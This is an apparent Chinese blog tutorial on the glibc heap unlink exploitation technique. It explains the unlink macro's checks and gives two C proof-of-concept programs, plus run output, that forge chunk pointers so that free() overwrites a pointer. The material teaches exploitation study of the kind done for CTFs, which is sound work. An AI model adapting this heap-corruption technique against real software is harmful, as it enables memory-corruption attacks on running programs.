前导知识
malloc_chunk 结构
struct malloc_chunk {
INTERNAL_SIZE_T prev_size; /* Size of previous chunk (if free). */
INTERNAL_SIZE_T size; /* Size in bytes, including overhead. */
struct malloc_chunk* fd; /* double links -- used only if free. */
struct malloc_chunk* bk;
/* Only used for large blocks: pointer to next larger size. */
struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
struct malloc_chunk* bk_nextsize;
};
部分字段的具体的解释如下
fd,bk。 chunk 处于分配状态时,从 fd 字段开始是用户的数据。chunk 空闲时,会被添加到对应的空闲管理链表中,其字段的含义如下
fd 指向下一个(非物理相邻)空闲的 chunk
bk 指向上一个(非物理相邻)空闲的 chunk
通过 fd 和 bk 可以将空闲的 chunk 块加入到空闲的 chunk 块链表进行统一管理
fd_nextsize, bk_nextsize,也是只有 chunk 空闲的时候才使用,不过其用于较大的 chunk(large chunk)。
fd_nextsize 指向前一个与当前 chunk 大小不同的第一个空闲块,不包含 bin 的头指针。
bk_nextsize 指向后一个与当前 chunk 大小不同的第一个空闲块,不包含 bin 的头指针。
一般空闲的 large chunk 在 fd 的遍历顺序中,按照由大到小的顺序排列。这样做可以避免在寻找合适 chunk 时挨个遍历。
我们在利用 unlink 所造成的漏洞时,其实就是对进行 unlink chunk 进行内存布局,然后借助 unlink 操作来达成修改指针的效果。
我们先来简单回顾一下 unlink 的目的与过程,其目的是把一个双向链表中的空闲块拿出来(例如 free 时和目前物理相邻的 free chunk 进行合并)。其基本的过程如下
然我们先来看看源码:
glibc-2.27/malloc/malloc.c:1403
/* Take a chunk off a bin list */
#define unlink(AV, P, BK, FD) { \
if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0)) \
malloc_printerr ("corrupted size vs. prev_size"); \
FD = P->fd; \
BK = P->bk; \
if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \
malloc_printerr ("corrupted double-linked list"); \
else { \
FD->bk = BK; \
BK->fd = FD; \
if (!in_smallbin_range (chunksize_nomask (P)) \
&& __builtin_expect (P->fd_nextsize != NULL, 0)) { \
if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0) \
|| __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0)) \
malloc_printerr ("corrupted double-linked list (not small)"); \
if (FD->fd_nextsize == NULL) { \
if (P->fd_nextsize == P) \
FD->fd_nextsize = FD->bk_nextsize = FD; \
else { \
FD->fd_nextsize = P->fd_nextsize; \
FD->bk_nextsize = P->bk_nextsize; \
P->fd_nextsize->bk_nextsize = FD; \
P->bk_nextsize->fd_nextsize = FD; \
} \
} else { \
P->fd_nextsize->bk_nextsize = P->bk_nextsize; \
P->bk_nextsize->fd_nextsize = P->fd_nextsize; \
} \
} \
} \
}
由于glibc-2.23的源码没有size检查,但是发行的库中却有size检查,所有鄙人用glibc-2.27的源码。
size检查
if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0)) \
malloc_printerr ("corrupted size vs. prev_size"); \
由于 P 已经在双向链表中,所以有两个地方记录其大小,所以检查一下其大小是否一致。
双向链表完整性检查
FD = P->fd; \
BK = P->bk; \
if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \
malloc_printerr ("corrupted double-linked list"); \
检查 fd 和 bk 指针。
双向链表完整性检查
if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0) \
|| __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0)) \
malloc_printerr ("corrupted double-linked list (not small)"); \
这个平常不怎么用到,是对于 large bin 的检查。
核心部分
FD->bk = BK; \
BK->fd = FD; \
即通过此方式,P 的指针指向了比自己低 12 的地址处。此方法虽然不可以实现任意地址写,但是可以修改指向 chunk 的指针,这样的修改是可以达到一定的效果的。
利用思路
条件
UAF ,可修改 free 状态下 smallbin 或是 unsorted bin 的 fd 和 bk 指针
已知位置存在一个指针指向可进行 UAF 的 chunk
效果
使得已指向 UAF chunk 的指针 ptr 变为 ptr - 0x18
思路
设指向可 UAF chunk 的指针的地址为 ptr
修改 fd 为 ptr - 0x18
修改 bk 为 ptr - 0x10
触发 unlink
ptr 处的指针会变为 ptr - 0x18。
代码举例
原理就如下面的代码所示:
#include
#include
// 机器字长,64位机器为8,32位机器为4
#define MACHINE_SIZE (sizeof(void *))
struct malloc_chunk
{
size_t prev_size; /* Size of previous chunk (if free). */
size_t size; /* Size in bytes, including overhead. */
struct malloc_chunk *fd; /* double links -- used only if free. */
struct malloc_chunk *bk;
/* Only used for large blocks: pointer to next larger size. */
struct malloc_chunk *fd_nextsize; /* double links -- used only if free. */
struct malloc_chunk *bk_nextsize;
};
int main()
{
struct malloc_chunk *chunk1, *chunk2;
char *ptr1, *ptr2;
// 不要申请fastbin
ptr1 = malloc(0x80);
ptr2 = malloc(0x80);
chunk1 = ptr1 - 2 * MACHINE_SIZE;
chunk2 = ptr2 - 2 * MACHINE_SIZE;
free(ptr1);
chunk1->fd = ((char *)&chunk1) - 3 * MACHINE_SIZE;
chunk1->bk = ((char *)&chunk1) - 2 * MACHINE_SIZE;
fprintf(stderr, "Starting chunk1: %p ; &chunk1: %p\n", chunk1, &chunk1);
// 触发unlink
free(ptr2);
fprintf(stderr, "Then chunk1: %p ; &chunk1: %p\n", chunk1, &chunk1);
fprintf(stderr, "%p(&chunk1) - %p(chunk1) = %d\n", &chunk1, chunk1,
(char *)&chunk1 - (char *)chunk1);
return 0;
}
一般情况下的unlink漏洞举例
要点
修改下一个相邻chunk的prev_size,使其与构造的假chunk相对应。
修改下一个相邻chunk的prev_in_use位为未使用状态。
一般都是由heap overflow来实现上述操作的。
#include
#include
// 机器字长,64位机器为8,32位机器为4
#define MACHINE_SIZE (sizeof(void *))
int main()
{
char *ptr1, *ptr2;
// 不要申请fastbin
ptr1 = malloc(0x80);
ptr2 = malloc(0x80);
// *(size_t *)ptr1 = 0;
// *(size_t *)(ptr1 + MACHINE_SIZE) = 0x80;
// fake_chunk->fd, ensures fake_chunk->fd->bk == fake_chunk
*(void **)(ptr1 + 2 * MACHINE_SIZE) = (char *)&ptr1 - 3 * MACHINE_SIZE;
// fake_chunk->bk, ensures fake_chunk->bk->fd == fake_chunk
*(void **)(ptr1 + 3 * MACHINE_SIZE) = (char *)&ptr1 - 2 * MACHINE_SIZE;
// 修改ptr2的chunk的prev_size ,使得其指向fake_chunk
*(size_t *)(ptr2 - 2 * MACHINE_SIZE) = (*(size_t *)(ptr1 - 1 * MACHINE_SIZE)
- 2 * MACHINE_SIZE) & (-8) ; // 去除低 3 bit的状态标记
// 修改ptr2的chunk的 prev_in_use 为未使用状态
*(size_t *)(ptr2 - MACHINE_SIZE) -= 1;
fprintf(stderr, "Starting ptr1: %p ; &ptr1: %p\n", ptr1, &ptr1);
// 触发unlink
free(ptr2);
fprintf(stderr, "Then ptr1: %p ; &ptr1: %p\n", ptr1, &ptr1);
fprintf(stderr, "%p(&ptr1) - %p(ptr1) = %ld\n", &ptr1, ptr1,
(char *)&ptr1 - (char *)ptr1);
return 0;
}
运行实例(环境:glibc-2.23)
ex@ubuntu:~/test$ gcc main.c -o main
ex@ubuntu:~/test$ ./main
Starting ptr1: 0x1020010 ; &ptr1: 0x7ffeb72fdb88
Then ptr1: 0x7ffeb72fdb70 ; &ptr1: 0x7ffeb72fdb88
0x7ffeb72fdb88(&ptr1) - 0x7ffeb72fdb70(ptr1) = 24
ex@ubuntu:~/test$
总结
像unlink这种比较抽象的漏洞需要多多写几遍他的C语言漏洞实例以保持手感,要不然时间过久了,再次看到unlink的话就会变得很生疏。
0
0
vote
Article Rating